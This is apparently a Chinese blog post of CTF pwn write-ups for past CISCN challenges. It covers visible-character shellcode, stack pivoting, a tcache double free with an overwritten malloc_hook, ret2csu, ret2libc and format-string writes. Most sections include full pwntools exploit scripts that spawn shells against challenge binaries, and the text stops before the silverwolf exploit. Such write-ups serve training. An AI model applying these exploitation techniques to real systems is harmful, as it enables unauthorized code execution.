备战一下今年的国赛 准备复现以往的题目来熟悉一下难度
[CISCN 2022 初赛]login_normal#
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)[*] '/home/chen/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: '/home/chen/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/'保护全开 一开始还以为是道堆题 ida进去看看
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3){ char s[1032]; // [rsp+0h] [rbp-410h] BYREF unsigned __int64 v4; // [rsp+408h] [rbp-8h]
v4 = __readfsqword(0x28u); buffer(); while ( 1 ) { memset(s, 0, 0x400uLL); printf(">>> "); read(0, s, 0x3FFuLL); sub_FFD(s); }}main函数接收了s 并且作为sub_ffd的参数 跟进一下
unsigned __int64 __fastcall sub_FFD(_BYTE *a1){ char *sa; // [rsp+8h] [rbp-48h] char *sb; // [rsp+8h] [rbp-48h] char *sc; // [rsp+8h] [rbp-48h] char *sd; // [rsp+8h] [rbp-48h] char v7; // [rsp+17h] [rbp-39h] int v8; // [rsp+1Ch] [rbp-34h] int v9; // [rsp+2Ch] [rbp-24h] void *dest; // [rsp+30h] [rbp-20h] char *s1; // [rsp+38h] [rbp-18h] char *nptr; // [rsp+40h] [rbp-10h] unsigned __int64 v13; // [rsp+48h] [rbp-8h]
v13 = __readfsqword(0x28u); memset(bss_array, 0, sizeof(bss_array)); v8 = 0; v7 = 0; dest = 0LL; while ( !*a1 || *a1 != '\n' && (*a1 != '\r' || a1[1] != 10) ) { if ( v8 <= 5 ) bss_array[2 * v8] = a1; sb = strchr(a1, ':'); if ( !sb ) { puts("error."); exit(1); } *sb = 0; for ( sc = sb + 1; *sc && (*sc == ' ' || *sc == '\r' || *sc == '\n' || *sc == '\t'); ++sc ) *sc = 0; if ( !*sc ) { puts("abort."); exit(2); } if ( v8 <= 5 ) bss_array[2 * v8 + 1] = sc; sd = strchr(sc, '\n'); if ( !sd ) { puts("error."); exit(3); } *sd = 0; a1 = sd + 1; if ( *a1 == '\r' ) *a1++ = 0; s1 = bss_array[2 * v8]; nptr = bss_array[2 * v8 + 1]; if ( !strcasecmp(s1, "opt") ) { if ( v7 ) { puts("error."); exit(5); } v7 = atoi(nptr); } else { if ( strcasecmp(s1, "msg") ) { puts("error."); exit(4); } if ( strlen(nptr) <= 1 ) { puts("error."); exit(5); } v9 = strlen(nptr) - 1; if ( dest ) { puts("error."); exit(5); } dest = calloc(v9 + 8, 1uLL); if ( v9 <= 0 ) { puts("error."); exit(5); } memcpy(dest, nptr, v9); } ++v8; } *a1 = 0; sa = a1 + 1; if ( *sa == '\n' ) *sa = 0; switch ( v7 ) { case 2: sub_DA8(dest); break; case 3: sub_EFE(dest); break; case 1: sub_CBD(dest); break; default: puts("error."); exit(6); } return __readfsqword(0x28u) ^ v13;}很长的一串代码 我们需要先代码审计看一下这串代码目的是什么
v13 = __readfsqword(0x28u);memset(bss_array, 0, sizeof(bss_array));v8 = 0;v7 = 0;dest = 0LL;对于几个变量进行了初始化
while ( !*a1 || *a1 != '\n' && (*a1 != '\r' || a1[1] != 10) )当a1为\x00 \n \r 时跳出while循环 接着我们来分析一下while中的内容
if ( v8 <= 5 ) bss_array[2 * v8] = a1; sb = strchr(a1, ':'); if ( !sb ) { puts("error."); exit(1); } *sb = 0;首先是第一个判断 v8在while的末尾进行了一个自增运算 是用来限制执行次数的 那么这个while循环最多只能循环六次
接着在bss段上的一个全局数组存入a1 即我们在main函数中输入的s字符串
利用strchr函数查找了a1中’:‘的位置 如果没有查找到的话就进入if循环 exit退出
同时将对应的’:‘清零
for ( sc = sb + 1; *sc && (*sc == ' ' || *sc == '\r' || *sc == '\n' || *sc == '\t'); ++sc ) *sc = 0; if ( !*sc ) { puts("abort."); exit(2); }第二次判断 先进行了一个for循环 sc指向’:‘的下一个字节处
for循环的执行顺序为 先赋值再判断 最后进入循环内 而循环的内容是清零对应地址指向的内容 看到下面的if判断 显然不是我们想要的结果
所以想办法绕过for循环 那就使得’:‘后的一个字节为’ ’、‘\r’、‘\n’、‘\t’
if ( v8 <= 5 ) bss_array[2 * v8 + 1] = sc; sd = strchr(sc, '\n'); if ( !sd ) { puts("error."); exit(3); }*sd = 0;第三个判断 要求字符串中有\n 所以上面的判断我们填入的应该是\n
a1 = sd + 1; if ( *a1 == '\r' ) *a1++ = 0; s1 = bss_array[2 * v8]; nptr = bss_array[2 * v8 + 1];a1为’\n’后的下一个字节处
如果a1为\r 那么其下一个字长处为0
此时将s1和nptr赋值为bss_array 我们回溯一下上面 可以发现在最开始和第三次判断之前进行了赋值
bss_array[2 * v8] = a1;bss_array[2 * v8 + 1] = sc;最开始的a1并没有任何的修改 所以此时的s1应该为最开始我们输入的s字符串中’:‘前面的字符串
而sc为’:‘后面的字符串 不过由于在第三次判断时 使sd的值为0 sd为sc字符串中’\n’的 所以sc只剩下’:‘后除’\n’字符串了
if ( !strcasecmp(s1, "opt") ) { if ( v7 ) { puts("error."); exit(5); } v7 = atoi(nptr); } else { if ( strcasecmp(s1, "msg") ) { puts("error."); exit(4); } if ( strlen(nptr) <= 1 ) { puts("error."); exit(5); } v9 = strlen(nptr) - 1; if ( dest ) { puts("error."); exit(5); } dest = calloc(v9 + 8, 1uLL); if ( v9 <= 0 ) { puts("error."); exit(5); } memcpy(dest, nptr, v9); } ++v8; }接着来看这个if判断式 如果s1等于’opt’就进入if 否则进入else
if中将nptr的值赋值给了v7
else中计算了nptr的长度 并且减去1后赋值给了v9 最后申请了一块堆空间 将nptr以v9个字节读入到dest中
*a1 = 0; sa = a1 + 1; if ( *sa == '\n' ) *sa = 0; switch ( v7 ) { case 2: sub_DA8(dest); break; case 3: sub_EFE(dest); break; case 1: sub_CBD(dest); break; default: puts("error."); exit(6); }最后一个部分 清空了a1的值 sa指向a1字符串的末尾 如果有换行符赋值为0
最后进行一个switch选择分支 参数为v7
根据v7的值进入不同的函数 参数为dest
综上所述 我们需要构造的payload的格式应该为
opt:(v7)(x)\n或者是msg:(dest)(x)\n其中x是任意单字节的垃圾数据 因为需要使得v9等于dest的长度接着跟进一下switch分支中的各个函数
unsigned __int64 __fastcall sub_CBD(const char *a1){ int i; // [rsp+14h] [rbp-1Ch] unsigned __int64 v3; // [rsp+18h] [rbp-18h]
v3 = __readfsqword(0x28u); for ( i = 0; i < strlen(a1); ++i ) { if ( !isprint(a1[i]) && a1[i] != 10 ) { puts("oh!"); exit(-1); } } if ( !strcmp(a1, "ro0t") ) { unk_202028 = 1; unk_202024 = 1; } else { unk_202028 = 1; } return __readfsqword(0x28u) ^ v3;}for循环中对dest中的字符串进行了检查 isprintf检查字符是否可以被打印 同时&&关联了一个判断式 当dest中没有换行符时才能通过if判断
接着如果dest字符串的值为ro0t时 unk_202028 = unk_202024 = 1 否则unk_202028 = 1
这里可能会有疑惑 之前的函数不是将dest中的\n赋值为了0 这个0会对字符串的判断产生影响吗
#include<stdio.h>#include<string.h>int main(){ char a[20]; scanf("%s",a); int b; b=strcasecmp(a,"test"); printf("%d",b);}这里尝试了一下 答案是不会
这里还不知道这两个bss段的全局变量值会有什么影响 接着看下一个函数
unsigned __int64 __fastcall sub_DA8(const char *a1){ unsigned int v1; // eax size_t v2; // rax int i; // [rsp+14h] [rbp-2Ch] void *dest; // [rsp+18h] [rbp-28h] unsigned __int64 v6; // [rsp+28h] [rbp-18h]
v6 = __readfsqword(0x28u); for ( i = 0; i < strlen(a1); ++i ) { if ( !isprint(a1[i]) && a1[i] != 10 ) { puts("oh!"); exit(-1); } } if ( unk_202028 != 1 ) { puts("oh!"); exit(-1); } if ( unk_202024 ) { v1 = getpagesize(); dest = mmap(&loc_FFE + 2, v1, 7, 34, 0, 0LL); v2 = strlen(a1); memcpy(dest, a1, v2); (dest)(); } else { puts(a1); } return __readfsqword(0x28u) ^ v6;}开头同样是对于dest字符串进行一个检测 接着如果unk_202028不等于1就结束进程
如果unk_202024=1就进入if分支否则进入else分支 else分支可以打印出a1 但是感觉不太好利用 还是来看看if分支
getpagesize获取了当前页的基地址 目的是为了配合mmap函数将该页的权限修改为7 即可读可写可执行
接着将a1字符串写入到这块内存空间中 最后执行 那显然是shellcode
并且还得是可见字符串shellcode 否则过不了最开始的判断
剩下一个函数就没什么好看的了 没啥作用
可见字符串shellcode要利用alpha3生成 具体的办法我相关博客有写 这里不复述 要注意的是本题的shellcode执行是call rdx
完整exp:
from pwn import*from struct import packio = process("./pwn")#io = remote("node4.buuoj.cn",26603)#io = remote("1.14.71.254",28753)context.log_level = "debug"elf = ELF("./pwn")libc = ELF("./buu_libc_ubuntu18_64")#libc = ELF("./locate")context.terminal = ['tmux','splitw','-h']context.arch = "amd64"def debug(): gdb.attach(io) pause()
shellcode = 'Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'payload1='opt:1\n'+'msg:ro0ta\n'io.sendlineafter(">>> ",payload1)payload2 = 'opt:2\n'+'msg:' + shellcode + 'a\n'io.sendlineafter(">>> ",payload2)io.interactive()ciscn_2019_es_2#
checksec看一下保护机制
ida打开 主函数应该是vul 跟进看一下
int vul(){ char s[40]; // [esp+0h] [ebp-28h] BYREF
memset(s, 0, 0x20u); read(0, s, 0x30u); printf("Hello, %s\n", s); read(0, s, 0x30u); return printf("Hello, %s\n", s);}只能溢出两个字长 只够我们覆盖ebp和ret addr
这种情况下只能考虑栈迁移了
先搞清楚为什么出题人会给两个read吧
栈迁移我们首先需要知道栈帧的地址
而我们知道 一个栈帧在结束的时候 ebp中存储的是父函数的栈底地址
printf函数遇到\0时就会停止输出 如果我们将s这个数组填满
那么它就会继续输出下一个字长 这样我们就泄露了ebp的内容
payload = b"a"*0x27+b"b"此时我们使用gdb进行动调 目的是为了得到ebp和我们输入的s的偏移(哪怕开启了pie或者RELRO 由于分页机制的特性 偏移是不变的)
我们将断点打在vul函数的nop汇编的地址
0xa8-0x70 = 0x38 于是我们得到 变量s的起始地址为ebp_addr - 0x38
payload = (b"aaaa"+p32(system_addr)+p32(0)+p32(ebp_addr-0x38+0x10)+b"/bin/sh").ljust(0x28,b"\x00")payload += p32(ebp_addr-0x38)+p32(leave_ret)这里解释一下p32(ebp_addr-0x38+0x10)
我们知道 栈迁移需要一个字长的垃圾数据来平衡栈 此时aaaa的地址为ebp_addr-0x38
/bin/sh前面的三个字长则占用了0xc字节
所以此时/bin/sh的位置则位于ebp_addr-0x38+0x10
完整exp:
from pwn import*#io = process("./pwn")io = remote("node4.buuoj.cn",28157)context.log_level = "debug"elf = ELF("./pwn")io.recvuntil("Welcome, my friend. What's your name?")payload = b"a"*0x27+b"b"io.send(payload)io.recvuntil("b")ebp_addr = u32(io.recv(4))system_addr = 0x8048400binsh_addr = ebp_addr - 0x38+0x10ret_addr = 0x080483a6leave_addr = 0x080484b8payload = (cyclic(0x4)+p32(system_addr)+p32(0xabcdabcd)+p32(binsh_addr)+b"/bin/sh").ljust(0x28,b"\x00")payload += p32(ebp_addr-0x38)+p32(leave_addr)io.sendline(payload)io.interactive()ciscn-2019-final-3#
这题没想出来根据堆块地址不断申请到main_arena的chunk 然后泄露基址的思路
记录一下 扩展一下思路
checksec

ida反编译 看一下伪代码
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3){ __int64 v3; // rax int v4; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u); sub_C5A(a1, a2, a3); v3 = std::operator<<<std::char_traits<char>>(&std::cout, "welcome to babyheap"); std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>); while ( 1 ) { menu(); std::operator<<<std::char_traits<char>>(&std::cout, "choice > "); std::istream::operator>>(&std::cin, &v4); if ( v4 == 1 ) { add(); } else if ( v4 == 2 ) { delete(); } }}只给了两个函数 add和delete 其中delete没有置零指针 存在UAF漏洞
add函数在申请完chunk后打印了chunk的用户空间区域首地址
那么此时我们拥有的漏洞只有UAF了 只能利用这个来泄露基址和获取shell
获取shell好说 这题的环境是Ubuntu18 可以打hook 并且tcache的检查机制没有fastbin那么复杂 可以很轻松的利用double free修改fd来申请任意内存空间的chunk
那么难点落在泄露libc基址了 题目没有给我们show函数 但是相比其他堆题给了打印申请chunk的地址的机会
很明显要利用这个来替代show函数
那么此时就可以利用UAF来申请到一块位于libc基址附近内存区域的chunk
那么我们可以联想到如果unsortedbin中的单个链表如果只有一个 free chunk 那么其fd和bk域的值就会是main_arena_addr+padding
此时存放main_arena_addr的地址我们也知道 就可以在tcachebin上窜成一个链表 申请到位于main_arena_addr的堆块
那么此时add函数中的这条代码就可以输出该chunk的用户空间首地址 即泄露了main_arena_addr 我们就可以得到libc基址
from pwn import*from struct import pack#io = remote("node4.buuoj.cn",28487)io = process("./pwn")context.log_level = "debug"elf = ELF("./pwn")libc = ELF("./libc.so.6")#libc = ELF("./locate")context.terminal = ['tmux','splitw','-h']context.arch = "amd64"def debug(): gdb.attach(io) pause()
def add(index,size,payload): io.recvuntil("choice > ") io.sendline(b'1') io.recvuntil("input the index") io.sendline(str(index)) io.recvuntil("input the size") io.sendline(str(size)) io.recvuntil("now you can write something") io.send(payload) io.recvuntil("gift :")
def delete(index): io.recvuntil("choice > ") io.sendline(b'2') io.recvuntil("input the index") io.sendline(str(index))
add(0,0x70,b'aaaa')add(1,0x70,b'aaaa')heap_addr = int(io.recv(14),16)success(hex(heap_addr))for i in range(1,9): add(i+1,0x70,b'aaaa')
delete(0)delete(0)add(10,0x70,p64(heap_addr-0x10))add(11,0x70,b'aaaa')此时 我们double free chunk0 此时的链表结构如下图

按照tcachebins单向链表先进后出的原则 此时我们获得是蓝色的那个free chunk 并且tcachebin显示的链表地址是chunk的用户空间首地址
此时我们将申请的chunk的内容设置为chunk1的首地址 就可以将其作为白色的free chunk的fd域 挂载在链表上 从而我们就可以申请到对应的内存空间
而利用for循环申请的几个chunk 则是为了等下修改chunk1的size域 从而合并后面的chunk空间 获得一个大于tcachebin范围的chunk 这样就能释放到unsortedbin中了
payload = p64(0)+p64(0x481)add(12,0x70,payload)add(13,0x20,b'aaaa')add(14,0x20,b'aaaa')delete(1)此时覆盖chunk1的size域 并且释放chunk1 chunk13是用来后面的double free chunk14是用来防止和top chunk合并

此时我们就成功往unsortedbin中释放了一个chunk
那么指向main_arena的地址也就是我们上面的heap_addr
我们用同样的办法 再次利用double free任意申请到一个chunk
delete(13)delete(13)add(15,0x20,p64(heap_addr))
但是此时的链表结构显示是不全的 其是根据箭头所指的数据来显示free chunk
使用tel指令可以查看其地址指向

add(16,0x20,b'aaaa')add(17,0x20,b'bbbb')add(18,0x20,b'aaaa')main_arena_addr = int(io.recv(14),16)success(hex(main_arena_addr))libc_addr = main_arena_addr - (0x7f355d756ca0-0x7f355d36b000)success(hex(libc_addr))onegadget_addr = libc_addr + 0x10a38c此时我们连续申请三个chunk 申请的第三个chunk就会分配到main_arena的空间
就成功泄露了基址
add(19,0x60,b'aaaa')delete(19)delete(19)malloc_hook = libc_addr + libc.sym['__malloc_hook']add(20,0x60,p64(malloc_hook))add(21,0x60,b'aaaa')add(22,0x60,p64(onegadget_addr))io.recvuntil("choice > ")io.sendline(b'1')io.recvuntil("input the index")io.sendline(b'23')io.recvuntil("input the size")io.sendline(b'0x70')io.interactive()最后一步同理 通过同样的double free办法 获取任意写malloc_hook的机会 将其修改为onegadget 再次调用malloc的时候就会触发onegadget 获取shell
ciscn-2019-s-3#
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)主体函数非常简单 利用系统调用号实现了一次输入和输出
signed __int64 vuln(){ signed __int64 v0; // rax char buf[16]; // [rsp+0h] [rbp-10h] BYREF
v0 = sys_read(0, buf, 0x400uLL); return sys_write(1u, buf, 0x30uLL);}还有一个gadget函数 看一下汇编代码
.text:00000000004004D6 ; =============== S U B R O U T I N E =======================================.text:00000000004004D6.text:00000000004004D6 ; Attributes: bp-based frame.text:00000000004004D6.text:00000000004004D6 public gadgets.text:00000000004004D6 gadgets proc near.text:00000000004004D6 ; __unwind {.text:00000000004004D6 push rbp.text:00000000004004D7 mov rbp, rsp.text:00000000004004DA mov rax, 0Fh.text:00000000004004E1 retn.text:00000000004004E1 gadgets endp ; sp-analysis failed.text:00000000004004E1.text:00000000004004E2 ; ---------------------------------------------------------------------------.text:00000000004004E2 mov rax, 3Bh ; ';'.text:00000000004004E9 retn.text:00000000004004E9 ; ---------------------------------------------------------------------------下方的0x3b则为59 是execve的系统调用号
应该是构造rop链 但是这题没有办法泄露libc基址 从而也没有办法获取/bin/sh的地址
所以只能通过写入栈上
要想利用栈 先得获得栈的地址 发现sys_write函数可以打印出0x30字节 而buf距离rbp只有0x10
还有一点需要注意 发现vuln函数的结尾并没有leave指令 也就是说我们只需要覆盖rbp就可以控制程序执行流
.text:00000000004004ED ; __unwind {.text:00000000004004ED push rbp.text:00000000004004EE mov rbp, rsp.text:00000000004004F1 xor rax, rax.text:00000000004004F4 mov edx, 400h ; count.text:00000000004004F9 lea rsi, [rsp+buf] ; buf.text:00000000004004FE mov rdi, rax ; fd.text:0000000000400501 syscall ; LINUX - sys_read.text:0000000000400503 mov rax, 1.text:000000000040050A mov edx, 30h ; '0' ; count.text:000000000040050F lea rsi, [rsp+buf] ; buf.text:0000000000400514 mov rdi, rax ; fd.text:0000000000400517 syscall ; LINUX - sys_write.text:0000000000400519 retn.text:0000000000400519 vuln endp ; sp-analysis failed.text:0000000000400519.text:0000000000400519 ; ---------------------------------------------------------------------------from pwn import*io = process("./pwn")#io = remote("node4.buuoj.cn",26678)elf = ELF("./pwn")context.log_level = "debug"context.arch = "amd64"main_addr = elf.sym['main']payload = b"/bin/sh\x00"+b"a"*7+b"c"+p64(main_addr)io.send(payload)io.recvuntil("c")io.recv(16)stack_addr = u64(io.recvuntil("\x7f").ljust(8,b"\x00"))gdb.attach(io)print(hex(stack_addr))可以看到泄露出了栈上的地址 但是此时我们并没有办法得知其与写入栈上的/bin/sh的偏移
这里的原因暂时没有办法得知 先放着这个疑问
下面我们进行系统调用 由于需要用到三个寄存器 所以这里用到csu
具体的流程我就不过多赘述了
rdi_addr = 0x4005a3syscall_addr = 0x400517int59_addr = 0x4004E2gadget2_addr = 0x400596gadget1_addr = 0x400580payload = b"/bin/sh\x00"+b"a"*8+p64(int59_addr)+p64(gadget2_addr)payload += cyclic(0x8)payload += p64(0)payload += p64(1)binsh_addr = stack_addr - 0x138payload += p64(binsh_addr+0x10)payload += p64(0)*3payload += p64(gadget1_addr)payload += cyclic(56)payload += p64(rdi_addr)payload += p64(binsh_addr)payload += p64(syscall_addr)io.sendline(payload)这里重点解释一下三个方面
1.为什么要多出一个p64(int59_addr)在栈上
这是因为call指令的问题 他跳转的是对应地址中存储的值 我们如果直接跳转到int59_addr是调用失败的
2.binsh_addr和stack_addr的偏移是怎么求出来的
我们将断点打在csu执行到call r12那一行
然后gdb看一下栈
可以计算出偏移为0x138
还有第二种办法可以查看到/bin/sh位于栈上的地址 stack 24实际上是以rsp往高地址方向
如果我们使rsp的地址减少 就可以做到查看低地址处的栈内容
set $rsp = $rsp-0x150看到这里你也能够理解我们赋值给r12的binsh_addr+0x10是什么用意了吧
最终exp:
from pwn import*io = process("./pwn")#io = remote("node4.buuoj.cn",26678)elf = ELF("./pwn")context.log_level = "debug"context.arch = "amd64"main_addr = elf.sym['main']payload = b"/bin/sh\x00"+b"a"*7+b"c"+p64(main_addr)io.send(payload)io.recvuntil("c")io.recv(16)stack_addr = u64(io.recvuntil("\x7f").ljust(8,b"\x00"))binsh_addr = stack_addr - 0x138rdi_addr = 0x4005a3syscall_addr = 0x400517int59_addr = 0x4004E2gadget2_addr = 0x400596gadget1_addr = 0x400580payload = b"/bin/sh\x00"+b"a"*8+p64(int59_addr)+p64(gadget2_addr)payload += cyclic(0x8)payload += p64(0)payload += p64(1)payload += p64(binsh_addr+0x10)payload += p64(0)*3payload += p64(gadget1_addr)payload += cyclic(56)payload += p64(rdi_addr)payload += p64(binsh_addr)payload += p64(syscall_addr)io.sendline(payload)io.interactive()[CISCN 2019华北]PWN1#
比较简单的一题 看一下保护机制

ida查看一下伪代码
int __cdecl main(int argc, const char **argv, const char **envp){ setvbuf(_bss_start, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); func(); return 0;}main函数就很简单的清空了缓存区 顺便调用了func函数 跟进一下
int func(){ int result; // eax char v1[44]; // [rsp+0h] [rbp-30h] BYREF float v2; // [rsp+2Ch] [rbp-4h]
v2 = 0.0; puts("Let's guess the number."); gets(v1); if ( v2 == 11.28125 ) result = system("cat /flag"); else result = puts("Its value should be 11.28125"); return result;}考了一手浮点数传参 比较简单 由于这题保护开的比较少 所以也可以直接栈溢出
两种做法都演示一下吧
1.浮点数传参
看一下汇编代码

movss是处理float精度的浮点数指令 这里顺便扩展一下知识点 处理double精度的浮点数用的是movsd
针对不同的字节数 还有movsb movsw ‘b’ ‘w’ ‘d’ 分别对应的一位 一字节 双字节
除此之外还有movzx movsx两兄弟
你可能也遇到过 我们编写如下程序
#include <stdio.h>char a[0x100];int main(){ char a = 120; a += 9; printf("%d",a);}预期结果应该是129对吧 但是最后的输出结果却是

这是因为char类型变量只有单字节 也就是只有8位 哪怕是无符号数其范围也只有0-255 符号数范围只有-128-127
显然129就超过了其范围 需要进行扩展 例如利用int型进行一个中转
而movzx和movsx也起到同样的作用
movzx扩展的时候高位全补0 例如0xffff 补全成0x0000ffff
movsx扩展的时候根据符号位决定补1还是0 例如0xffff 是负数 那么补1 也就是0xffffffff
话归正题 我们索引一下浮点数应该是dword_4007F4

取其值传参 0x41348000
exp:
from pwn import*#io = process("./pwn")io = remote("1.14.71.254",28934)context.log_level = "debug"context.terminal = ['tmux','splitw','-h']elf = ELF("./pwn")def debug(): gdb.attach(io) pause()
io.recvuntil("Let's guess the number.")payload = cyclic(0x2c)+p32(0x41348000)# gdb.attach(io,'b *0x4006A2')# pause(0)io.sendline(payload)io.recv()io.recv()2.ret2text
很简单 直接贴exp吧
from pwn import*io = process("./pwn")#io = remote("1.14.71.254",28934)context.log_level = "debug"context.terminal = ['tmux','splitw','-h']elf = ELF("./pwn")def debug(): gdb.attach(io) pause()
io.recvuntil("Let's guess the number.")backdoor_addr = 0x4006BEpayload = cyclic(0x38)+p32(backdoor_addr)# gdb.attach(io,'b *0x4006A2')# pause(0)io.sendline(payload)io.recv()io.recv()[CISCN 2019东北]PWN2#
比较简单的一题 打ret2text 但是NSS平台上没给libc文件 就用libcsearch来 不过这个也有坑 老版的已经没有维护了 得安装新版本的 新版本的是联网的
Lan1keA/LibcSearcher: 🔍 LibcSearcher-ng — get symbols’ offset in glibc. (github.com)

保护机制 我为了方便本地调试把libc依赖更换了 忽视即可
int __cdecl main(int argc, const char **argv, const char **envp){ int v4; // [rsp+Ch] [rbp-4h] BYREF
init(argc, argv, envp); puts("EEEEEEE hh iii "); puts("EE mm mm mmmm aa aa cccc hh nn nnn eee "); puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e "); puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee "); puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee "); puts("===================================================================="); puts("Welcome to this Encryption machine\n"); begin(); while ( 1 ) { while ( 1 ) { fflush(0LL); v4 = 0; __isoc99_scanf("%d", &v4); getchar(); if ( v4 != 2 ) break; puts("I think you can do it by yourself"); begin(); } if ( v4 == 3 ) { puts("Bye!"); return 0; } if ( v4 != 1 ) break; encrypt(); begin(); } puts("Something Wrong!"); return 0;}begin函数跟进一下
int begin(){ puts("===================================================================="); puts("1.Encrypt"); puts("2.Decrypt"); puts("3.Exit"); return puts("Input your choice!");}只有encrypt函数有点东西 跟进一下
int encrypt(){ size_t v0; // rbx char s[48]; // [rsp+0h] [rbp-50h] BYREF __int16 v3; // [rsp+30h] [rbp-20h]
memset(s, 0, sizeof(s)); v3 = 0; puts("Input your Plaintext to be encrypted"); gets(s); while ( 1 ) { v0 = (unsigned int)x; if ( v0 >= strlen(s) ) break; if ( s[x] <= '`' || s[x] > 122 ) { if ( s[x] <= 64 || s[x] > 90 ) { if ( s[x] > 47 && s[x] <= 57 ) s[x] ^= 0xCu; } else { s[x] ^= 0xDu; } } else { s[x] ^= 0xEu; } ++x; } puts("Ciphertext"); return puts(s);}对于我们输入的字符串s进行了加密 并且打印出来 不过由于没开canary和pie 又有gets函数 这里直接栈溢出打个ret2text就好了 唯一一点要注意的是就是最后要进行栈对齐 判断方法就是gdb动调一直n下去 卡住的时候如果sp指针末尾是8即需要栈对齐

exp:
from pwn import*from LibcSearcher import*io = process("./pwn")#io = remote("1.14.71.254",28610)context.log_level = "debug"context.terminal = ['tmux','splitw','-h']elf = ELF("./pwn")def debug(): gdb.attach(io) pause()
io.recvuntil("Input your choice!")io.sendline(b'1')io.recvuntil("Input your Plaintext to be encrypted")rdi_addr = 0x0000000000400c83puts_got = elf.got['puts']puts_sym = 0x4006e0back_addr = 0x400A47start_addr = elf.sym['_start']payload = cyclic(0x50+0x8)+p64(rdi_addr)+p64(puts_got)+p64(puts_sym)+p64(start_addr)# gdb.attach(io,'b *0x400AEE')# pause(0)io.sendline(payload)io.recv()io.recvuntil("\x7f")ret_addr = 0x00000000004006b9puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))success("puts_addr :"+hex(puts_addr))obj = LibcSearcher("puts",puts_addr)libc_addr = puts_addr - obj.dump("puts")success("libc_addr :"+hex(libc_addr))system_addr = libc_addr + obj.dump("system")binsh_addr = libc_addr + obj.dump("str_bin_sh")io.recvuntil("Input your choice!")io.sendline(b'1')io.recvuntil("Input your Plaintext to be encrypted")payload = cyclic(0x58)+p64(ret_addr)+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr)io.sendline(payload)io.interactive()[CISCN 2019东南]PWN2#
看一下保护机制

ida看一下伪代码
int __cdecl main(int argc, const char **argv, const char **envp){ init(); puts("Welcome, my friend. What's your name?"); vul(); return 0;}分别跟进一下init函数和vul函数
init函数就是清空了缓存区
int init(){ setvbuf(stdin, 0, 2, 0); return setvbuf(stdout, 0, 2, 0);}vul函数相当于主函数 分析一下
int vul(){ char s[40]; // [esp+0h] [ebp-28h] BYREF
memset(s, 0, 0x20u); read(0, s, 0x30u); printf("Hello, %s\n", s); read(0, s, 0x30u); return printf("Hello, %s\n", s);}给了两次read的机会 rsi都是栈上的s 同时输入完了以后还进行了printf操作
没有开启canary和pie 存在栈溢出 栈溢出只有两个字长的距离 只够覆盖ebp和ret addr
猜测一手栈迁移 但是目前没有bss段的地址可写 也没有给栈上的地址 既然这样那我们就自己泄露吧
gdb动调一下 断点打在printf函数调用的时候

这里我选择的是ebp处存放的栈地址
printf函数遇到\0就会截停 所以我们只需要用垃圾数据覆盖esp到ebp之间的空间 就可以让printf函数一路畅通无阻 泄露出其内容
from pwn import*from LibcSearcher import*#io = process("./pwn")io = remote("1.14.71.254",28294)context.log_level = "debug"context.terminal = ['tmux','splitw','-h']elf = ELF("./pwn")def debug(): gdb.attach(io) pause()
io.recvuntil("Welcome, my friend. What's your name?")payload = cyclic(0x28)io.send(payload)stack_addr = u32(io.recvuntil("\xff")[-4:])success("stack_addr :"+hex(stack_addr))随后就是栈迁移的部分了 gdb动调看一下我们第二次输入的s字符串的起始地址和泄露出来的栈地址偏移是多少 顺便在计算一下我们手动放入的binsh字符串的地址 最后利用题目已经给过的system函数构造rop链 获取shell
完整exp:
from pwn import*from LibcSearcher import*io = process("./pwn")#io = remote("1.14.71.254",28294)context.log_level = "debug"context.terminal = ['tmux','splitw','-h']elf = ELF("./pwn")def debug(): gdb.attach(io) pause()
io.recvuntil("Welcome, my friend. What's your name?")payload = cyclic(0x28)io.send(payload)stack_addr = u32(io.recvuntil("\xff")[-4:])success("stack_addr :"+hex(stack_addr))system_addr = 0x8048400s_addr = stack_addr - (0xff976728-0xff9766f0)binsh_addr = s_addr + 0xcleave_addr = 0x080484b8payload = p32(system_addr)+p32(0)+p32(binsh_addr)+b'/bin/sh;'payload = payload.ljust(0x28)+p32(s_addr-0x4)+p32(leave_addr)# gdb.attach(io,'b *0x80485FE')# pause(0)io.send(payload)io.interactive()[CISCN 2019西南]PWN1#
解析放到栈分类的手写格式化字符串漏洞中了 下面直接放exp
from pwn import*from LibcSearcher import*#io = process("./pwn")io = remote("1.14.71.254",28417)context.log_level = "debug"context.terminal = ['tmux','splitw','-h']context.arch = "i386"elf = ELF("./pwn")def debug(): gdb.attach(io) pause()
fini_addr = 0x804979Cmain_addr = 0x8048534printf_got = 0x804989csystem_addr = 0x80483d0io.recvuntil("Welcome to my ctf! What's your name?")payload = b'%'+str(0x0804).encode()+b'c%15$hn'payload += b'%16$hn'payload += b'%'+str(0x83d0-0x0804).encode()+b'c%17$hn'payload += b'%'+str(0x8534-0x83d0).encode()+b'c%18$hnaa'payload += p32(fini_addr+2)payload += p32(printf_got+2)payload += p32(printf_got)payload += p32(fini_addr)print(len(payload))io.sendline(payload)io.recvuntil("Welcome to my ctf! What's your name?")payload = b'/bin/sh'io.sendline(payload)io.interactive()[CISCN 2021 初赛]silverwolf#
这题不是很难 但是难点在于多个知识点的结合
在复现的时候也是学习到了许多新知识 下面详细复现一遍

保护全开 同时libc文件是比较少见的2.27 1.3的小版本 这个版本也和目前最新的1.6版本一样 对于tcache有了新的检查机制
ida看一下几个函数
